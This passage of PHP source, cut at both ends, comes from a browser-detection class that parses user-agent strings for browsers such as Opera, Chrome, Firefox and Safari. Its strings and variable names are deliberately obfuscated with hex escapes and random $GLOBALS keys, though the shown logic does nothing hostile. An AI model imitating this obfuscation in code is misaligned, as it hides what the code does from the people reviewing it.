if(${${"G\x4c\x4fB\x41\x4c\x53"}["\x70l\x63\x6e\x6e\x79f\x77"]}[1]=="6.0"){$this->setVersion("\x310.0");}else if(${${"\x47\x4cO\x42A\x4cS"}["\x70\x6ccn\x6e\x79f\x77"]}[1]=="\x37\x2e0"){$this->setVersion("\x311\x2e\x30");}else if(${${"\x47\x4c\x4fB\x41LS"}["p\x6c\x63nn\x79\x66\x77"]}[1]=="8.0"){$this->setVersion("1\x31.\x30");}}if(stripos($this->_agent,"\x49\x45M\x6fbi\x6c\x65")!==false){$this->setBrowser(self::BROWSER_POCKET_IE);$this->setMobile(true);}return true;}}else if(stripos($this->_agent,"\x74r\x69\x64\x65n\x74")!==false){$this->setBrowser(self::BROWSER_IE);$ckcvobrrg="\x72\x65\x73u\x6c\x74";${${"\x47LO\x42A\x4c\x53"}["\x6ce\x64i\x68\x7a\x64o"]}=explode("r\x76:",$this->_agent);if(isset(${$ckcvobrrg}[1])){$this->setVersion(preg_replace("/[^\x30-9\x2e]+/","",${${"GLO\x42\x41\x4c\x53"}["\x6c\x65di\x68\x7a\x64\x6f"]}[1]));$this->_agent=str_replace(array("\x4doz\x69ll\x61","G\x65\x63\x6b\x6f"),"\x4dS\x49E",$this->_agent);}}else if(stripos($this->_agent,"ms\x70\x69e")!==false||stripos($this->_agent,"\x70o\x63\x6b\x65\x74")!==false){$grmruh="ar\x65\x73\x75\x6c\x74";${$grmruh}=explode(" ",stristr($this->_agent,"m\x73\x70i\x65"));if(isset(${${"\x47L\x4f\x42A\x4c\x53"}["\x70\x6cc\x6e\x6e\x79f\x77"]}[1])){$this->setPlatform(self::PLATFORM_WINDOWS_CE);$this->setBrowser(self::BROWSER_POCKET_IE);$this->setMobile(true);if(stripos($this->_agent,"\x6d\x73\x70i\x65")!==false){$podjhohkuiz="a\x72es\x75l\x74";$this->setVersion(${$podjhohkuiz}[1]);}else{$wirdepkqktlk="a\x76\x65\x72\x73\x69\x6f\x6e";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70e\x62\x65\x74\x63\x74\x78k"]}=explode("/",$this->_agent);if(isset(${$wirdepkqktlk}[1])){${"GLO\x42\x41\x4cS"}["\x64\x6b\x6c\x79\x6co"]="\x61v\x65rs\x69\x6f\x6e";$this->setVersion(${${"\x47\x4cO\x42AL\x53"}["\x64\x6bl\x79\x6c\x6f"]}[1]);}}return true;}}return false;}protected function checkBrowserOpera(){if(stripos($this->_agent,"o\x70e\x72\x61 \x6di\x6ei")!==false){${"G\x4c\x4fB\x41\x4cS"}["xp\x65\x64\x79\x61\x78\x6a\x73"]="\x72\x65s\x75\x6c\x74\x61\x6et";${${"\x47\x4c\x4fB\x41\x4cS"}["x\x70ed\x79\x61\x78\x6a\x73"]}=stristr($this->_agent,"\x6f\x70\x65\x72\x61 m\x69\x6ei");if(preg_match("/\x5c//",${${"\x47\x4c\x4f\x42A\x4cS"}["\x65q\x72\x70\x68io\x65"]})){${${"\x47LOB\x41L\x53"}["\x70\x6c\x63\x6e\x6e\x79f\x77"]}=explode("/",${${"G\x4cO\x42\x41\x4c\x53"}["\x65qr\x70hi\x6fe"]});if(isset(${${"\x47\x4cO\x42\x41LS"}["\x70\x6c\x63nny\x66\x77"]}[1])){${${"\x47\x4c\x4fB\x41L\x53"}["\x70\x65\x62e\x74c\x74\x78\x6b"]}=explode("\x20",${${"\x47\x4cOBA\x4c\x53"}["\x70\x6c\x63\x6en\x79\x66w"]}[1]);$this->setVersion(${${"\x47\x4c\x4f\x42\x41LS"}["\x70\x65\x62e\x74\x63\x74\x78\x6b"]}[0]);}}else{${"G\x4c\x4fB\x41L\x53"}["\x6a\x64t\x6d\x68or\x68dl\x79\x77"]="\x61\x76e\x72\x73\x69\x6f\x6e";${${"G\x4cO\x42\x41\x4cS"}["\x70\x65bet\x63t\x78\x6b"]}=explode("\x20",stristr(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65q\x72\x70\x68\x69\x6f\x65"]},"\x6fp\x65ra \x6d\x69n\x69"));if(isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x64t\x6d\x68o\x72\x68\x64\x6c\x79\x77"]}[1])){$this->setVersion(${${"GLO\x42\x41\x4cS"}["\x70e\x62etc\x74\x78\x6b"]}[1]);}}$this->_browser_name=self::BROWSER_OPERA_MINI;$this->setMobile(true);return true;}else if(stripos($this->_agent,"\x6fpera")!==false){$dyuczwvaq="\x72\x65\x73ul\x74\x61\x6e\x74";${"\x47\x4c\x4fB\x41LS"}["w\x68\x66\x63\x72\x66"]="\x72\x65s\x75ltan\x74";${${"GLO\x42\x41\x4c\x53"}["\x65q\x72\x70\x68\x69\x6fe"]}=stristr($this->_agent,"o\x70\x65\x72a");if(preg_match("/V\x65rs\x69\x6f\x6e\x5c/(\x31*.*)\$/",${${"G\x4c\x4f\x42\x41L\x53"}["\x77\x68\x66\x63\x72f"]},${${"G\x4c\x4fBA\x4cS"}["vf\x62\x66\x74\x77\x67\x63\x78\x66"]})){$this->setVersion(${${"\x47\x4c\x4f\x42\x41L\x53"}["v\x66b\x66t\x77\x67\x63\x78f"]}[1]);}else if(preg_match("/\\//",${$dyuczwvaq})){${"\x47L\x4f\x42\x41\x4c\x53"}["\x6c\x65\x67\x69\x6fa\x6dr"]="\x72\x65\x73u\x6ct\x61\x6e\x74";${${"\x47\x4c\x4f\x42A\x4c\x53"}["p\x6cc\x6en\x79\x66\x77"]}=explode("/",str_replace("(","\x20",${${"\x47LO\x42\x41\x4c\x53"}["\x6c\x65\x67\x69\x6f\x61\x6d\x72"]}));if(isset(${${"\x47\x4cO\x42\x41L\x53"}["plcn\x6e\x79\x66w"]}[1])){${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70ebetct\x78\x6b"]}=explode("\x20",${${"\x47L\x4fB\x41L\x53"}["\x70lc\x6e\x6e\x79\x66w"]}[1]);$this->setVersion(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x65b\x65\x74\x63t\x78\x6b"]}[0]);}}else{${"\x47\x4cOB\x41L\x53"}["\x6d\x6fo\x6b\x76\x7a"]="\x72\x65su\x6c\x74\x61\x6e\x74";$jkyiqdxrfkwj="\x61\x76e\x72\x73i\x6f\x6e";${${"\x47\x4cO\x42AL\x53"}["\x70ebe\x74\x63\x74\x78\x6b"]}=explode(" ",stristr(${${"\x47LO\x42\x41LS"}["\x6d\x6f\x6fk\x76z"]},"op\x65\x72a"));$this->setVersion(isset(${$jkyiqdxrfkwj}[1])?${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x65\x62e\x74c\x74\x78\x6b"]}[1]:"");}if(stripos($this->_agent,"\x4fp\x65\x72\x61 \x4d\x6f\x62\x69")!==false){$this->setMobile(true);}$this->_browser_name=self::BROWSER_OPERA;return true;}else if(stripos($this->_agent,"\x4fP\x52")!==false){${${"G\x4c\x4f\x42A\x4cS"}["\x65qr\x70\x68\x69\x6fe"]}=stristr($this->_agent,"O\x50R");if(preg_match("/\\//",${${"\x47\x4c\x4f\x42\x41L\x53"}["eq\x72p\x68\x69\x6f\x65"]})){${"\x47\x4c\x4fB\x41L\x53"}["e\x6b\x63ccbu\x6en\x6e\x76"]="\x61\x72\x65\x73u\x6c\x74";$circqt="\x72\x65\x73u\x6c\x74a\x6e\x74";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70lc\x6e\x6e\x79\x66\x77"]}=explode("/",str_replace("("," ",${$circqt}));if(isset(${${"\x47\x4c\x4fB\x41\x4cS"}["e\x6bc\x63c\x62\x75\x6e\x6e\x6ev"]}[1])){${"GLO\x42\x41\x4c\x53"}["t\x63\x64\x73\x69\x67\x66\x63vh"]="av\x65\x72\x73ion";$vhoofqnpe="\x61\x72\x65\x73u\x6ct";${${"\x47\x4cO\x42A\x4c\x53"}["t\x63dsi\x67fcvh"]}=explode(" ",${$vhoofqnpe}[1]);$this->setVersion(${${"G\x4cOBAL\x53"}["\x70eb\x65\x74ctxk"]}[0]);}}if(stripos($this->_agent,"\x4dob\x69le")!==false){$this->setMobile(true);}$this->_browser_name=self::BROWSER_OPERA;return true;}return false;}protected function checkBrowserChrome(){if(stripos($this->_agent,"C\x68\x72om\x65")!==false){$iqktxfichju="\x61r\x65s\x75lt";${$iqktxfichju}=explode("/",stristr($this->_agent,"\x43h\x72\x6f\x6d\x65"));if(isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x6c\x63\x6e\x6ey\x66\x77"]}[1])){$ttuulketl="a\x76\x65\x72\x73\x69\x6f\x6e";$ltpesaeduli="\x61\x72e\x73u\x6c\x74";${${"\x47\x4cOBA\x4cS"}["p\x65\x62e\x74ct\x78\x6b"]}=explode("\x20",${$ltpesaeduli}[1]);$this->setVersion(${$ttuulketl}[0]);$this->setBrowser(self::BROWSER_CHROME);if(stripos($this->_agent,"An\x64roi\x64")!==false){if(stripos($this->_agent,"M\x6f\x62\x69\x6ce")!==false){$this->setMobile(true);}else{$this->setTablet(true);}}return true;}}return false;}protected function checkBrowserWebTv(){if(stripos($this->_agent,"\x77e\x62tv")!==false){${${"G\x4c\x4fB\x41\x4cS"}["\x70\x6cc\x6en\x79f\x77"]}=explode("/",stristr($this->_agent,"w\x65\x62tv"));if(isset(${${"GL\x4fBAL\x53"}["\x70lc\x6e\x6e\x79\x66w"]}[1])){$ymopoqn="a\x72\x65\x73ult";${"\x47\x4c\x4fBAL\x53"}["\x78\x7a\x68\x67r\x63a"]="a\x76e\x72s\x69\x6f\x6e";${"\x47L\x4fB\x41L\x53"}["h\x73o\x68\x66\x68\x64\x63\x68"]="a\x76er\x73\x69o\x6e";${${"\x47L\x4f\x42\x41\x4cS"}["\x68s\x6f\x68\x66\x68d\x63h"]}=explode(" ",${$ymopoqn}[1]);$this->setVersion(${${"G\x4c\x4fB\x41L\x53"}["\x78\x7a\x68\x67r\x63\x61"]}[0]);$this->setBrowser(self::BROWSER_WEBTV);return true;}}return false;}protected function checkBrowserNetPositive(){if(stripos($this->_agent,"N\x65tP\x6f\x73\x69\x74ive")!==false){$ldwpkruecuo="\x61\x72\x65\x73\x75\x6c\x74";${${"\x47\x4c\x4f\x42AL\x53"}["p\x6cc\x6e\x6ey\x66\x77"]}=explode("/",stristr($this->_agent,"N\x65tPos\x69\x74ive"));if(isset(${$ldwpkruecuo}[1])){${"G\x4c\x4f\x42A\x4c\x53"}["o\x6eis\x76y"]="a\x72\x65\x73u\x6ct";${"GL\x4f\x42AL\x53"}["\x74\x68\x62\x66pgjf"]="\x61\x76\x65\x72s\x69\x6f\x6e";${${"G\x4c\x4fBA\x4cS"}["\x74hb\x66\x70\x67\x6a\x66"]}=explode("\x20",${${"GL\x4f\x42A\x4cS"}["\x6fn\x69\x73vy"]}[1]);$this->setVersion(str_replace(array("(",")","\x3b"),"",${${"\x47\x4cOB\x41\x4cS"}["\x70\x65\x62\x65tc\x74\x78\x6b"]}[0]));$this->setBrowser(self::BROWSER_NETPOSITIVE);return true;}}return false;}protected function checkBrowserGaleon(){if(stripos($this->_agent,"\x67\x61\x6ce\x6fn")!==false){$vxllkjb="\x61r\x65s\x75\x6ct";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77h\x6evzt\x70\x66"]="\x61\x72\x65\x73\x75\x6ct";${"G\x4cO\x42\x41\x4c\x53"}["\x71\x64\x72\x6f\x76\x63ler\x62n"]="\x61v\x65rs\x69o\x6e";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6az\x6d\x66\x64\x79\x76\x6cq\x7a\x6b"]="a\x76\x65\x72\x73\x69\x6fn";${${"\x47LO\x42A\x4cS"}["w\x68n\x76z\x74p\x66"]}=explode("\x20",stristr($this->_agent,"\x67\x61\x6ceo\x6e"));${${"GLO\x42A\x4cS"}["j\x7a\x6d\x66\x64yvlqz\x6b"]}=explode("/",${$vxllkjb}[0]);if(isset(${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x64r\x6f\x76c\x6cer\x62\x6e"]}[1])){$this->setVersion(${${"GL\x4f\x42\x41\x4cS"}["\x70ebetc\x74xk"]}[1]);$this->setBrowser(self::BROWSER_GALEON);return true;}}return false;}protected function checkBrowserKonqueror(){if(stripos($this->_agent,"Ko\x6eque\x72\x6fr")!==false){$zibnmobmy="\x61v\x65\x72\x73\x69\x6f\x6e";${${"GL\x4fB\x41\x4c\x53"}["p\x6c\x63\x6eny\x66\x77"]}=explode(" ",stristr($this->_agent,"Ko\x6eque\x72\x6fr"));${${"\x47\x4c\x4f\x42\x41L\x53"}["pebetc\x74\x78\x6b"]}=explode("/",${${"G\x4c\x4f\x42\x41LS"}["p\x6c\x63\x6e\x6e\x79\x66w"]}[0]);if(isset(${$zibnmobmy}[1])){$this->setVersion(${${"GL\x4f\x42\x41L\x53"}["\x70\x65bet\x63\x74x\x6b"]}[1]);$this->setBrowser(self::BROWSER_KONQUEROR);return true;}}return false;}protected function checkBrowserIcab(){if(stripos($this->_agent,"ic\x61b")!==false){${"\x47\x4cO\x42\x41L\x53"}["ddese\x71ce\x69"]="\x61v\x65\x72si\x6f\x6e";${${"G\x4c\x4fB\x41\x4c\x53"}["\x70\x65\x62\x65t\x63\x74\x78\x6b"]}=explode(" ",stristr(str_replace("/"," ",$this->_agent),"\x69c\x61b"));if(isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x64\x65s\x65\x71\x63\x65\x69"]}[1])){$this->setVersion(${${"\x47\x4c\x4fB\x41L\x53"}["\x70\x65\x62e\x74\x63\x74xk"]}[1]);$this->setBrowser(self::BROWSER_ICAB);return true;}}return false;}protected function checkBrowserOmniWeb(){if(stripos($this->_agent,"\x6f\x6dni\x77\x65\x62")!==false){${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70l\x63\x6e\x6e\x79\x66\x77"]}=explode("/",stristr($this->_agent,"\x6f\x6d\x6eiw\x65\x62"));${${"\x47\x4cO\x42A\x4c\x53"}["\x70\x65b\x65tc\x74\x78k"]}=explode("\x20",isset(${${"\x47L\x4fBA\x4c\x53"}["\x70\x6c\x63\x6e\x6eyf\x77"]}[1])?${${"\x47\x4c\x4f\x42\x41LS"}["\x70\x6ccn\x6ey\x66w"]}[1]:"");$this->setVersion(${${"\x47\x4c\x4fBALS"}["pebe\x74\x63\x74\x78\x6b"]}[0]);$this->setBrowser(self::BROWSER_OMNIWEB);return true;}return false;}protected function checkBrowserPhoenix(){if(stripos($this->_agent,"P\x68o\x65\x6ei\x78")!==false){$elnfvzcqx="\x61\x76\x65\x72\x73\x69o\x6e";${$elnfvzcqx}=explode("/",stristr($this->_agent,"\x50ho\x65\x6e\x69x"));${"\x47L\x4f\x42\x41LS"}["\x7a\x64\x78\x70y\x6b\x72"]="\x61v\x65r\x73i\x6fn";if(isset(${${"G\x4c\x4f\x42\x41\x4c\x53"}["z\x64\x78pyk\x72"]}[1])){$this->setVersion(${${"\x47L\x4f\x42AL\x53"}["\x70\x65\x62e\x74c\x74\x78k"]}[1]);$this->setBrowser(self::BROWSER_PHOENIX);return true;}}return false;}protected function checkBrowserFirebird(){if(stripos($this->_agent,"F\x69r\x65b\x69\x72\x64")!==false){${"\x47\x4cO\x42\x41\x4cS"}["\x72xrt\x72\x65o\x75\x68"]="\x61vers\x69\x6f\x6e";${${"\x47\x4c\x4f\x42\x41LS"}["r\x78r\x74\x72\x65\x6f\x75\x68"]}=explode("/",stristr($this->_agent,"\x46\x69\x72e\x62\x69rd"));if(isset(${${"GL\x4fB\x41L\x53"}["\x70ebe\x74ctx\x6b"]}[1])){$this->setVersion(${${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x65be\x74\x63t\x78\x6b"]}[1]);$this->setBrowser(self::BROWSER_FIREBIRD);return true;}}return false;}protected function checkBrowserNetscapeNavigator9Plus(){${"\x47\x4cO\x42A\x4c\x53"}["\x6d\x64\x65\x72l\x75\x6fuj"]="\x6datc\x68\x65\x73";if(stripos($this->_agent,"\x46ir\x65\x66\x6fx")!==false&&preg_match("/\x4eavig\x61t\x6fr\\/([^\x20]*)/i",$this->_agent,${${"G\x4cO\x42\x41\x4c\x53"}["\x6d\x64\x65rlu\x6f\x75\x6a"]})){${"\x47L\x4f\x42\x41L\x53"}["q\x65m\x63gr\x64\x6f"]="\x6d\x61\x74\x63he\x73";$this->setVersion(${${"\x47L\x4f\x42ALS"}["\x71\x65\x6d\x63\x67\x72d\x6f"]}[1]);$this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);return true;}else if(stripos($this->_agent,"\x46\x69\x72\x65\x66o\x78")===false&&preg_match("/N\x65t\x73ca\x70e\x36?\x5c/([^ ]*)/i",$this->_agent,${${"\x47\x4c\x4fBA\x4cS"}["\x76\x66b\x66\x74\x77g\x63x\x66"]})){$this->setVersion(${${"\x47\x4c\x4f\x42\x41\x4cS"}["v\x66\x62\x66\x74\x77gcx\x66"]}[1]);$this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);return true;}return false;}protected function checkBrowserShiretoko(){if(stripos($this->_agent,"M\x6fzi\x6cla")!==false&&preg_match("/\x53h\x69r\x65\x74\x6fko\\/([^ ]*)/i",$this->_agent,${${"GL\x4f\x42AL\x53"}["\x76f\x62\x66tw\x67\x63\x78\x66"]})){$this->setVersion(${${"GL\x4fB\x41L\x53"}["v\x66\x62\x66t\x77g\x63xf"]}[1]);$this->setBrowser(self::BROWSER_SHIRETOKO);return true;}return false;}protected function checkBrowserIceCat(){if(stripos($this->_agent,"\x4d\x6f\x7a\x69ll\x61")!==false&&preg_match("/I\x63eC\x61\x74\x5c/([^\x20]*)/i",$this->_agent,${${"G\x4cOB\x41\x4c\x53"}["\x76fb\x66\x74\x77\x67\x63x\x66"]})){${"\x47\x4cOB\x41\x4cS"}["t\x79u\x63\x76\x79\x66\x6e\x72c\x75"]="m\x61t\x63\x68\x65\x73";$this->setVersion(${${"\x47LOB\x41\x4c\x53"}["\x74\x79\x75\x63\x76y\x66\x6er\x63u"]}[1]);$this->setBrowser(self::BROWSER_ICECAT);return true;}return false;}protected function checkBrowserNokia(){if(preg_match("/\x4eo\x6bia([^\\/]+)\\/([^\x20SP]+)/i",$this->_agent,${${"G\x4c\x4f\x42\x41\x4c\x53"}["v\x66\x62f\x74\x77\x67c\x78\x66"]})){$wwnsfonoa="\x6d\x61\x74c\x68\x65\x73";$this->setVersion(${$wwnsfonoa}[2]);if(stripos($this->_agent,"Seri\x65\x736\x30")!==false||strpos($this->_agent,"S6\x30")!==false){$this->setBrowser(self::BROWSER_NOKIA_S60);}else{$this->setBrowser(self::BROWSER_NOKIA);}$this->setMobile(true);return true;}return false;}protected function checkBrowserFirefox(){if(stripos($this->_agent,"\x73\x61f\x61ri")===false){if(preg_match("/F\x69\x72\x65fox[\\/ \x5c(]([^\x20\x3b\x5c)]+)/\x69",$this->_agent,${${"\x47\x4c\x4fB\x41L\x53"}["vf\x62\x66t\x77gcx\x66"]})){$this->setVersion(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x66\x62\x66t\x77\x67\x63x\x66"]}[1]);$this->setBrowser(self::BROWSER_FIREFOX);if(stripos($this->_agent,"\x41n\x64r\x6fid")!==false){if(stripos($this->_agent,"M\x6fbile")!==false){$this->setMobile(true);}else{$this->setTablet(true);}}return true;}else if(preg_match("/\x46\x69\x72ef\x6fx\$/\x69",$this->_agent,${${"G\x4c\x4f\x42\x41\x4cS"}["v\x66\x62\x66t\x77\x67\x63x\x66"]})){$this->setVersion("");$this->setBrowser(self::BROWSER_FIREFOX);return true;}}return false;}protected function checkBrowserIceweasel(){if(stripos($this->_agent,"I\x63ew\x65\x61se\x6c")!==false){${${"G\x4cO\x42\x41\x4cS"}["pl\x63nn\x79\x66\x77"]}=explode("/",stristr($this->_agent,"\x49\x63\x65wea\x73\x65\x6c"));if(isset(${${"G\x4cO\x42AL\x53"}["\x70\x6cc\x6e\x6e\x79\x66w"]}[1])){$orvxotsmehik="a\x76\x65\x72\x73\x69\x6fn";${$orvxotsmehik}=explode(" ",${${"\x47\x4cO\x42\x41\x4c\x53"}["\x70\x6c\x63\x6e\x6e\x79\x66\x77"]}[1]);$this->setVersion(${${"GL\x4fBA\x4c\x53"}["\x70\x65be\x74c\x74x\x6b"]}[0]);$this->setBrowser(self::BROWSER_ICEWEASEL);return true;}}return false;}protected function checkBrowserMozilla(){$wogijcprft="\x6d\x61\x74\x63\x68\x65\x73";if(stripos($this->_agent,"\x6d\x6fz\x69ll\x61")!==false&&preg_match("/rv:[\x30-9]\x2e[0-\x39][\x61-b]?/\x69",$this->_agent)&&stripos($this->_agent,"nets\x63\x61\x70e")===false){${${"GL\x4f\x42\x41\x4cS"}["p\x65\x62\x65\x74\x63\x74x\x6b"]}=explode("\x20",stristr($this->_agent,"rv:"));preg_match("/\x72\x76:[\x30-\x39].[\x30-\x39][a-\x62]?/i",$this->_agent,${${"\x47LO\x42AL\x53"}["p\x65\x62\x65tct\x78k"]});$this->setVersion(str_replace("\x72\x76:","",${${"GLOB\x41\x4c\x53"}["\x70\x65\x62e\x74\x63tx\x6b"]}[0]));$this->setBrowser(self::BROWSER_MOZILLA);return true;}else if(stripos($this->_agent,"\x6d\x6fz\x69l\x6c\x61")!==false&&preg_match("/\x72v:[\x30-9]\x5c\x2e[0-9]/\x69",$this->_agent)&&stripos($this->_agent,"\x6eets\x63\x61\x70\x65")===false){${"GL\x4f\x42AL\x53"}["\x65si\x72vgf"]="\x61\x76\x65\x72si\x6fn";${${"\x47L\x4f\x42A\x4cS"}["\x70\x65b\x65\x74\x63t\x78k"]}=explode("",stristr($this->_agent,"rv:"));$this->setVersion(str_replace("\x72\x76:","",${${"\x47LO\x42AL\x53"}["e\x73i\x72vg\x66"]}[0]));$this->setBrowser(self::BROWSER_MOZILLA);return true;}else if(stripos($this->_agent,"moz\x69ll\x61")!==false&&preg_match("/m\x6fzi\x6cl\x61\\/([^ ]*)/i",$this->_agent,${$wogijcprft})&&stripos($this->_agent,"\x6ee\x74s\x63ape")===false){$this->setVersion(${${"\x47L\x4f\x42A\x4cS"}["v\x66\x62\x66tw\x67\x63\x78\x66"]}[1]);$this->setBrowser(self::BROWSER_MOZILLA);return true;}return false;}protected function checkBrowserLynx(){if(stripos($this->_agent,"\x6c\x79\x6e\x78")!==false){${"G\x4c\x4f\x42\x41\x4cS"}["\x72\x62\x77\x67\x65h\x6f\x6cq"]="\x61r\x65s\x75l\x74";${${"GL\x4f\x42\x41\x4cS"}["\x70\x6c\x63n\x6ey\x66w"]}=explode("/",stristr($this->_agent,"Lynx"));${"G\x4cO\x42\x41\x4c\x53"}["\x62h\x77\x6f\x62\x67hyr"]="\x61\x76\x65r\x73i\x6fn";${${"GL\x4f\x42A\x4cS"}["\x70\x65\x62\x65\x74\x63t\x78\x6b"]}=explode("\x20",(isset(${${"\x47LO\x42A\x4c\x53"}["\x72b\x77\x67\x65\x68\x6f\x6c\x71"]}[1])?${${"\x47L\x4f\x42\x41L\x53"}["\x70l\x63n\x6e\x79\x66\x77"]}[1]:""));$this->setVersion(${${"\x47\x4c\x4fB\x41\x4cS"}["\x62\x68\x77\x6f\x62\x67h\x79\x72"]}[0]);$this->setBrowser(self::BROWSER_LYNX);return true;}return false;}protected function checkBrowserAmaya(){if(stripos($this->_agent,"\x61\x6d\x61y\x61")!==false){${"\x47L\x4f\x42\x41\x4c\x53"}["\x70l\x77b\x6b\x71q\x61\x74\x71\x64"]="\x61\x72\x65\x73\x75lt";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70l\x77\x62k\x71\x71\x61\x74q\x64"]}=explode("/",stristr($this->_agent,"\x41m\x61\x79\x61"));if(isset(${${"G\x4c\x4f\x42A\x4cS"}["p\x6c\x63\x6e\x6ey\x66w"]}[1])){$uhlrlukb="\x61\x72\x65\x73\x75\x6c\x74";${"GL\x4f\x42\x41\x4c\x53"}["\x66\x73\x69xr\x69"]="\x61\x76e\x72sio\x6e";$btuket="a\x76\x65\x72sion";${$btuket}=explode("\x20",${$uhlrlukb}[1]);$this->setVersion(${${"\x47\x4cOB\x41\x4cS"}["\x66\x73\x69\x78r\x69"]}[0]);$this->setBrowser(self::BROWSER_AMAYA);return true;}}return false;}protected function checkBrowserSafari(){if(stripos($this->_agent,"\x53afari")!==false&&stripos($this->_agent,"\x69P\x68\x6fn\x65")===false&&stripos($this->_agent,"i\x50o\x64")===false){${"\x47LO\x42AL\x53"}["\x72\x62\x6c\x6d\x70\x6ay\x73c\x64\x75"]="\x61re\x73\x75lt";$cilqohn="a\x72\x65\x73\x75\x6ct";${${"G\x4cOB\x41\x4c\x53"}["\x72\x62\x6cm\x70\x6a\x79s\x63\x64\x75"]}=explode("/",stristr($this->_agent,"Ve\x72si\x6fn"));if(isset(${$cilqohn}[1])){${"\x47L\x4f\x42\x41\x4c\x53"}["\x71\x71\x7a\x6dih\x73\x6b\x69"]="a\x76e\x72s\x69\x6f\x6e";$ftjdoju="\x61\x72e\x73\x75\x6ct";${"\x47\x4c\x4fB\x41L\x53"}["\x6ar\x79w\x68\x6c\x66\x75\x65"]="\x61\x76\x65\x72\x73\x69\x6fn";${${"\x47\x4c\x4fB\x41L\x53"}["\x71\x71zmi\x68\x73ki"]}=explode(" ",${$ftjdoju}[1]);$this->setVersion(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x72\x79w\x68\x6c\x66u\x65"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SAFARI);return true;}return false;}protected function checkBrowserSamsung(){if(stripos($this->_agent,"S\x61m\x73ungBrow\x73er")!==false){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x6cu\x79cp"]="a\x72\x65s\x75\x6ct";${${"\x47\x4c\x4f\x42A\x4cS"}["p\x6ccn\x6e\x79\x66\x77"]}=explode("/",stristr($this->_agent,"\x53amsun\x67B\x72\x6f\x77s\x65r"));if(isset(${${"G\x4cO\x42A\x4c\x53"}["\x73luy\x63\x70"]}[1])){$kdmyzfl="av\x65rs\x69\x6f\x6e";$gqdptbyod="\x61r\x65\x73\x75\x6c\x74";${$kdmyzfl}=explode("\x20",${$gqdptbyod}[1]);$mwltustxd="\x61ver\x73i\x6f\x6e";$this->setVersion(${$mwltustxd}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SAMSUNG);return true;}return false;}protected function checkBrowserSilk(){if(stripos($this->_agent,"\x53\x69lk")!==false){${"\x47LO\x42A\x4cS"}["\x77\x75\x76\x72\x6d\x66"]="\x61resu\x6c\x74";${${"\x47\x4cOB\x41LS"}["wu\x76\x72\x6d\x66"]}=explode("/",stristr($this->_agent,"S\x69\x6ck"));if(isset(${${"\x47L\x4fB\x41\x4c\x53"}["\x70\x6cc\x6e\x6eyf\x77"]}[1])){${"\x47\x4cOBA\x4cS"}["n\x65\x63h\x77\x65l"]="\x61ve\x72s\x69on";$jyrvgmbil="ave\x72\x73io\x6e";${${"\x47LO\x42A\x4c\x53"}["\x6e\x65ch\x77\x65\x6c"]}=explode("\x20",${${"G\x4cO\x42\x41L\x53"}["\x70l\x63\x6eny\x66\x77"]}[1]);$this->setVersion(${$jyrvgmbil}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SILK);return true;}return false;}protected function checkBrowserIframely(){if(stripos($this->_agent,"I\x66ram\x65l\x79")!==false){${${"\x47\x4c\x4fB\x41L\x53"}["\x70\x6c\x63\x6en\x79fw"]}=explode("/",stristr($this->_agent,"I\x66r\x61mel\x79"));if(isset(${${"G\x4c\x4f\x42\x41\x4cS"}["\x70\x6c\x63\x6en\x79fw"]}[1])){$eibcxiac="\x61\x76\x65\x72\x73\x69\x6f\x6e";${"\x47\x4cO\x42\x41\x4cS"}["\x6ew\x6b\x6c\x6a\x6e"]="\x61r\x65\x73\x75\x6c\x74";$dibthuv="a\x76e\x72\x73\x69\x6f\x6e";${$dibthuv}=explode(" ",${${"\x47\x4cO\x42\x41L\x53"}["n\x77k\x6c\x6a\x6e"]}[1]);$this->setVersion(${$eibcxiac}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_I_FRAME);return true;}return false;}protected function checkBrowserCocoa(){if(stripos($this->_agent,"\x43o\x63o\x61\x52e\x73t\x43l\x69e\x6et")!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70e\x74\x7a\x68\x71b\x72"]="\x61\x72e\x73\x75\x6c\x74";${${"GLO\x42\x41\x4c\x53"}["\x70\x65\x74\x7a\x68q\x62\x72"]}=explode("/",stristr($this->_agent,"\x43o\x63oa\x52e\x73tCli\x65\x6e\x74"));if(isset(${${"G\x4cO\x42ALS"}["\x70\x6cc\x6e\x6e\x79\x66\x77"]}[1])){${"\x47\x4c\x4fBA\x4c\x53"}["x\x6cmqt\x74\x63\x7a"]="\x61\x76er\x73\x69\x6f\x6e";${${"G\x4cO\x42AL\x53"}["p\x65b\x65\x74\x63\x74x\x6b"]}=explode("\x20",${${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x6cc\x6e\x6ey\x66\x77"]}[1]);$this->setVersion(${${"G\x4cO\x42\x41\x4c\x53"}["\x78\x6c\x6dqt\x74\x63\x7a"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_COCOA);return true;}return false;}protected function checkFacebookExternalHit(){if(stristr($this->_agent,"Face\x62o\x6fk\x45xt\x65\x72n\x61\x6cHit")){$this->setRobot(true);$this->setFacebook(true);return true;}return false;}protected function checkForFacebookIos(){if(stristr($this->_agent,"\x46B\x49OS")){$this->setFacebook(true);return true;}return false;}protected function 